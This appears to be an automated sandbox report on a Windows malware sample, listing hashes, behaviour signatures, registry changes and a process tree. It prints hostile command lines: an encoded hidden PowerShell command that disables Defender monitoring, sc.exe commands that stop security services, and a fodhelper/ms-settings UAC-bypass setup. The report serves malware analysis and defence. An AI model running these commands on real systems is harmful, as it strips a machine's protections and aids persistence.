Analysis
- max time kernel
149s - max time network
149s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
18/10/2026, 12:57
Static task
static1
Behavioral task
behavioral1
Sample
stdutility.com_hyber.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
stdutility.com_hyber.exe
Resource
win11ltsc2024-20260911-en
General
- Target stdutility.com_hyber.exe
- Size 49KB
- Sample261018-p7ch8sc17n
- SHA256 1a6e7a89e9a2c5f5789be6fec99fb3c91106a3b5861830cff68673b4d8895e9a
- MD5 02e1ea78c78b7a5a59830cad02fe201b
- SHA1 a6112726cfb653b6b52f85a22308e78d78a2ce32
- SHA512 addb9262c2664e776eda5929bd080a8b6437fe79baebc97e439fea91df2b4796fbc7ed32153952b2c80f00bdb4436a0adeb88d0383d94fbcd7750346248c9ef3
- SSDEEP 384:sFrb51vIFF66z9S0huAozGYKg+9wFfYjid2+0xNcKKKKmI2hM6ZnSb7R2H9iUXFR:UrVZZ6zs0hjh17xq2/NaPzfX/fxR4L
- TLSH T10133F54937FD4522E1BF9ABE49B290119731F453DC23DB8E1AD8459E09F37008DA8B6B
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Contains code to disable Windows Defender 1 IoCs
A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.
resource yara_rule behavioral2/memory/5968-1-0x0000000000EC0000-0x0000000000ED2000-memory.dmp disable_win_def -
description ioc Process Set value (int) \REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\DisableAntiSpyware = "1" stdutility.com_hyber.exe - Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 1548 powershell.exe - Disables RegEdit via registry modification 1 IoCs
description ioc Process Set value (int) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1" stdutility.com_hyber.exe - Disables Task Manager via registry modification
- Drops file in Drivers directory 1 IoCs
description ioc Process File opened for modification C:\Windows\System32\drivers\etc\hosts stdutility.com_hyber.exe - Modifies Windows Firewall 2 TTPs 1 IoCs
pid Process 5300 netsh.exe - Creates a file in the Startup directory 1 TTPs 64 IoCs
A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_75.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_112.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_117.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_133.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_152.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_187.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_66.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_197.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_64.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_114.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_16.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_40.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_46.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_108.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_151.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_53.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_86.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_109.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_113.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_159.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_195.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_12.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_144.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_147.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_161.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_1.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_41.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_77.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_110.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_149.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_160.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_173.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_5.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_8.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_17.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_20.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_35.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_44.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_58.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_73.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_21.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_28.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_83.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_89.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_91.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_122.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_131.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_135.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_31.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_34.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_48.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_116.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_138.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_142.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_164.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_174.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_19.pdf stdutility.com_hyber.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_60.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_67.pdf stdutility.com_hyber.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\invoice_80.pdf stdutility.com_hyber.exe - Disables service(s) 3 TTPs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Stops running service(s) 4 TTPs
- Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\stdutility.com_hyber.exe" stdutility.com_hyber.exe - Discovers running processes 1 TTPs 1 IoCs
Running process information can be used to identify security tools or plan follow-on actions.
pid Process 5032 tasklist.exe - Drops file in System32 directory 4 IoCs
description ioc Process File opened for modification C:\Windows\system32\LogFiles\WMI\FaceUnlockManually.etl LogonUI.exe File created C:\Windows\system32\svchost.exe stdutility.com_hyber.exe File created C:\Windows\system32\sysupdate.exe stdutility.com_hyber.exe File opened for modification C:\Windows\system32\sysupdate.exe stdutility.com_hyber.exe - Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
pid Process 4892 wscript.exe 1956 wscript.exe - Sets desktop wallpaper using registry 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\Wallpaper = "C:\\ProgramData\\SysUpdate\\wall.bmp" stdutility.com_hyber.exe - Drops file in Windows directory 1 IoCs
description ioc Process File created C:\Windows\rescache\_merged\1190018277\3170114693.pri LogonUI.exe - Launches sc.exe 10 IoCs
Sc.exe is a Windows utlilty to control services on the system.
pid Process 1196 sc.exe 4276 sc.exe 3356 sc.exe 4196 sc.exe 2844 sc.exe 1432 sc.exe 2244 sc.exe 5556 sc.exe 4740 sc.exe 1884 sc.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
description ioc Process Key opened \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key queried \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe Key value enumerated \REGISTRY\MACHINE\SOFTWARE\Microsoft\NetSh netsh.exe - Executes a command shell one-liner 1 TTPs 7 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1532 cmd.exe 3636 cmd.exe 4044 cmd.exe 2356 cmd.exe 5748 cmd.exe 5672 cmd.exe 1940 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 6 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain stdutility.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname stdutility.com_hyber.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname WMIC.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain WMIC.exe - Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \Registry\Machine\HARDWARE\DESCRIPTION\System\CentralProcessor\0 LogonUI.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz LogonUI.exe - Gathers network information 2 TTPs 2 IoCs
Uses commandline utility to view network configuration.
pid Process 3340 ipconfig.exe 3968 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 4888 systeminfo.exe - Interacts with shadow copies 3 TTPs 2 IoCs
Shadow copies are often targeted by ransomware to inhibit system recovery.
pid Process 960 vssadmin.exe 5208 vssadmin.exe - Modifies Control Panel 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000\Control Panel\Desktop\WallpaperStyle = "2" stdutility.com_hyber.exe - Modifies data under HKEY_USERS 4 IoCs
description ioc Process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History LogonUI.exe Set value (int) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Themes\History\AutoColor = "0" LogonUI.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent LogonUI.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Explorer\Accent\AccentPalette = 99ebff004cc2ff000091f8000078d4000067c000003e9200001a6800f7630c00 LogonUI.exe - Modifies registry class 16 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command stdutility.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings stdutility.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.pdf\ = "PDFBotnet" stdutility.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command stdutility.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open stdutility.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell stdutility.com_hyber.exe Key deleted \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings stdutility.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell stdutility.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\ = "C:\\Users\\Admin\\AppData\\Local\\Temp\\stdutility.com_hyber.exe" stdutility.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command stdutility.com_hyber.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open\command\ = "\"C:\\Users\\Admin\\AppData\\Local\\Temp\\stdutility.com_hyber.exe\" \"%1\"" stdutility.com_hyber.exe Set value (str) \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open\command\DelegateExecute stdutility.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet stdutility.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell\open stdutility.com_hyber.exe Key created \REGISTRY\USER\S-1-5-21-461973139-3212354679-1508698038-1000_Classes\ms-settings\shell\open stdutility.com_hyber.exe Key created \REGISTRY\MACHINE\SOFTWARE\Classes\PDFBotnet\shell stdutility.com_hyber.exe - Runs net.exe
- Scheduled Task/Job: Scheduled Task 1 TTPs 2 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 256 schtasks.exe 5376 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1548 powershell.exe 1548 powershell.exe 1548 powershell.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5124 WMIC.exe 5124 WMIC.exe 5124 WMIC.exe 5124 WMIC.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 2504 WMIC.exe 2504 WMIC.exe 2504 WMIC.exe 2504 WMIC.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe 5968 stdutility.com_hyber.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 1720 LogonUI.exe Token: SeCreatePagefilePrivilege 1720 LogonUI.exe Token: SeDebugPrivilege 5968 stdutility.com_hyber.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeIncreaseQuotaPrivilege 1548 powershell.exe Token: SeSecurityPrivilege 1548 powershell.exe Token: SeTakeOwnershipPrivilege 1548 powershell.exe Token: SeLoadDriverPrivilege 1548 powershell.exe Token: SeSystemProfilePrivilege 1548 powershell.exe Token: SeSystemtimePrivilege 1548 powershell.exe Token: SeProfSingleProcessPrivilege 1548 powershell.exe Token: SeIncBasePriorityPrivilege 1548 powershell.exe Token: SeCreatePagefilePrivilege 1548 powershell.exe Token: SeBackupPrivilege 1548 powershell.exe Token: SeRestorePrivilege 1548 powershell.exe Token: SeShutdownPrivilege 1548 powershell.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeSystemEnvironmentPrivilege 1548 powershell.exe Token: SeRemoteShutdownPrivilege 1548 powershell.exe Token: SeUndockPrivilege 1548 powershell.exe Token: SeManageVolumePrivilege 1548 powershell.exe Token: 33 1548 powershell.exe Token: 34 1548 powershell.exe Token: 35 1548 powershell.exe Token: 36 1548 powershell.exe Token: SeIncreaseQuotaPrivilege 1548 powershell.exe Token: SeSecurityPrivilege 1548 powershell.exe Token: SeTakeOwnershipPrivilege 1548 powershell.exe Token: SeLoadDriverPrivilege 1548 powershell.exe Token: SeSystemProfilePrivilege 1548 powershell.exe Token: SeSystemtimePrivilege 1548 powershell.exe Token: SeProfSingleProcessPrivilege 1548 powershell.exe Token: SeIncBasePriorityPrivilege 1548 powershell.exe Token: SeCreatePagefilePrivilege 1548 powershell.exe Token: SeBackupPrivilege 1548 powershell.exe Token: SeRestorePrivilege 1548 powershell.exe Token: SeShutdownPrivilege 1548 powershell.exe Token: SeDebugPrivilege 1548 powershell.exe Token: SeSystemEnvironmentPrivilege 1548 powershell.exe Token: SeRemoteShutdownPrivilege 1548 powershell.exe Token: SeUndockPrivilege 1548 powershell.exe Token: SeManageVolumePrivilege 1548 powershell.exe Token: 33 1548 powershell.exe Token: 34 1548 powershell.exe Token: 35 1548 powershell.exe Token: 36 1548 powershell.exe Token: SeIncBasePriorityPrivilege 5968 stdutility.com_hyber.exe Token: SeDebugPrivilege 5032 tasklist.exe Token: SeDebugPrivilege 5680 whoami.exe Token: SeDebugPrivilege 3968 NETSTAT.EXE Token: SeIncreaseQuotaPrivilege 5124 WMIC.exe Token: SeSecurityPrivilege 5124 WMIC.exe Token: SeTakeOwnershipPrivilege 5124 WMIC.exe Token: SeLoadDriverPrivilege 5124 WMIC.exe Token: SeSystemProfilePrivilege 5124 WMIC.exe Token: SeSystemtimePrivilege 5124 WMIC.exe Token: SeProfSingleProcessPrivilege 5124 WMIC.exe Token: SeIncBasePriorityPrivilege 5124 WMIC.exe Token: SeCreatePagefilePrivilege 5124 WMIC.exe Token: SeBackupPrivilege 5124 WMIC.exe Token: SeRestorePrivilege 5124 WMIC.exe Token: SeShutdownPrivilege 5124 WMIC.exe Token: SeDebugPrivilege 5124 WMIC.exe Token: SeSystemEnvironmentPrivilege 5124 WMIC.exe - Suspicious use of FindShellTrayWindow 1 IoCs
pid Process 5968 stdutility.com_hyber.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 1720 LogonUI.exe 1720 LogonUI.exe 5968 stdutility.com_hyber.exe - Suspicious use of WriteProcessMemory 39 IoCs
description pid Process procid_target PID 5968 wrote to memory of 1548 5968 stdutility.com_hyber.exe 91 PID 5968 wrote to memory of 1432 5968 stdutility.com_hyber.exe 93 PID 5968 wrote to memory of 3356 5968 stdutility.com_hyber.exe 95 PID 5968 wrote to memory of 2844 5968 stdutility.com_hyber.exe 97 PID 5968 wrote to memory of 2244 5968 stdutility.com_hyber.exe 99 PID 5968 wrote to memory of 5556 5968 stdutility.com_hyber.exe 101 PID 5968 wrote to memory of 4740 5968 stdutility.com_hyber.exe 103 PID 5968 wrote to memory of 1884 5968 stdutility.com_hyber.exe 105 PID 5968 wrote to memory of 4196 5968 stdutility.com_hyber.exe 153 PID 5968 wrote to memory of 5472 5968 stdutility.com_hyber.exe 109 PID 5472 wrote to memory of 5156 5472 fodhelper.exe 110 PID 5968 wrote to memory of 4892 5968 stdutility.com_hyber.exe 113 PID 5968 wrote to memory of 256 5968 stdutility.com_hyber.exe 114 PID 5968 wrote to memory of 1940 5968 stdutility.com_hyber.exe 120 PID 5968 wrote to memory of 5672 5968 stdutility.com_hyber.exe 122 PID 5968 wrote to memory of 5748 5968 stdutility.com_hyber.exe 123 PID 5968 wrote to memory of 2356 5968 stdutility.com_hyber.exe 124 PID 5968 wrote to memory of 4044 5968 stdutility.com_hyber.exe 125 PID 5968 wrote to memory of 3636 5968 stdutility.com_hyber.exe 126 PID 5968 wrote to memory of 1532 5968 stdutility.com_hyber.exe 127 PID 5968 wrote to memory of 5376 5968 stdutility.com_hyber.exe 133 PID 5968 wrote to memory of 1956 5968 stdutility.com_hyber.exe 136 PID 5968 wrote to memory of 2144 5968 stdutility.com_hyber.exe 137 PID 3636 wrote to memory of 3340 3636 cmd.exe 138 PID 5748 wrote to memory of 5032 5748 cmd.exe 139 PID 5672 wrote to memory of 4888 5672 cmd.exe 140 PID 4044 wrote to memory of 2580 4044 cmd.exe 141 PID 1532 wrote to memory of 3968 1532 cmd.exe 142 PID 2356 wrote to memory of 5680 2356 cmd.exe 143 PID 5968 wrote to memory of 960 5968 stdutility.com_hyber.exe 144 PID 5968 wrote to memory of 5124 5968 stdutility.com_hyber.exe 145 PID 5968 wrote to memory of 476 5968 stdutility.com_hyber.exe 146 PID 5968 wrote to memory of 5300 5968 stdutility.com_hyber.exe 147 PID 5968 wrote to memory of 4276 5968 stdutility.com_hyber.exe 148 PID 5968 wrote to memory of 1196 5968 stdutility.com_hyber.exe 149 PID 2580 wrote to memory of 4260 2580 net.exe 150 PID 1940 wrote to memory of 5208 1940 cmd.exe 157 PID 476 wrote to memory of 5924 476 net.exe 158 PID 1940 wrote to memory of 2504 1940 cmd.exe 161 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
Processes
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C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe"C:\Users\Admin\AppData\Local\Temp\stdutility.com_hyber.exe"1⤵
- Modifies Windows Defender DisableAntiSpyware settings
- Disables RegEdit via registry modification
- Drops file in Drivers directory
- Creates a file in the Startup directory
- Adds Run key to start application
- Drops file in System32 directory
- Sets desktop wallpaper using registry
- Reads the TCP/IP host and domain name from the registry
- Modifies Control Panel
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:5968 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA=2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1548
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop wscsvc2⤵
- Launches sc.exe
PID:1432
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config wscsvc start= disabled2⤵
- Launches sc.exe
PID:3356
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop SecurityHealthService2⤵
- Launches sc.exe
PID:2844
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled2⤵
- Launches sc.exe
PID:2244
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop WinDefend2⤵
- Launches sc.exe
PID:5556
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config WinDefend start= disabled2⤵
- Launches sc.exe
PID:4740
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop MsMpSvc2⤵
- Launches sc.exe
PID:1884
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config MsMpSvc start= disabled2⤵
- Launches sc.exe
PID:4196
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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5472 -
